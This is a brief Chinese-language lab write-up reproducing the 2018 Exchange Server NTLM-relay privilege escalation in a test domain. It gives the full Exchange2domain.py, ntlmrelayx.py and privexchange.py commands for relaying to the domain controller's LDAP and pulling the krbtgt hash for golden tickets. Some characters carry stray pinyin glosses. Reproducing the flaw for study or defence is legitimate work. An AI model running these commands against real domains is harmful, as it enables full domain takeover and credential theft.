漏洞描述：
Exchange Server于2018年11月份被爆出存在SSRF漏洞，可以偽造任意用戶。但在之后又被爆出另外一種攻擊方式，可以使用任意域內(nèi)用戶通過NTML Relay獲取到krbtgt的hash。該hash可用于制作黃金票據(jù)，最后可以達(dá)到全域通暢的效果。
影響范圍：
Exchange 2010、Exchange 2013、Exchange 2016
漏洞復(fù)現(xiàn)：
環(huán)境：
DC Windows 2012 (192.168.52.3/ad01.qfdomain.com)
Exchange 2013 Windows 2012 （192.168.52.4/mail.qfdomain.com）
Attack Parrot (192.168.52.101)
攻擊方式一：
python Exchange2domain.py -ah 192.168.52.101 -ap 80 -u attack -p "attack" -d qfdomain.com -th 192.168.52.3 192.168.52.4 --no-ssl
一鍵獲取krbtgt的hash
image.png
攻擊方式二
一、開啟反射監(jiān)聽
python2 ntlmrelayx.py -t ldap://192.168.52.3 --escalate-user attack
monitor
二、開啟攻擊
python2 privexchange.py -ah 192.168.52.101 mail.qfdomain.com -u attack -p "attack" -d qfdomain.com --no-ssl --debug
attack
三、如果攻擊成功，那么會在我們的監(jiān)聽端看到DC反連我們的信息
image.png
四、拉取HASH
image.png
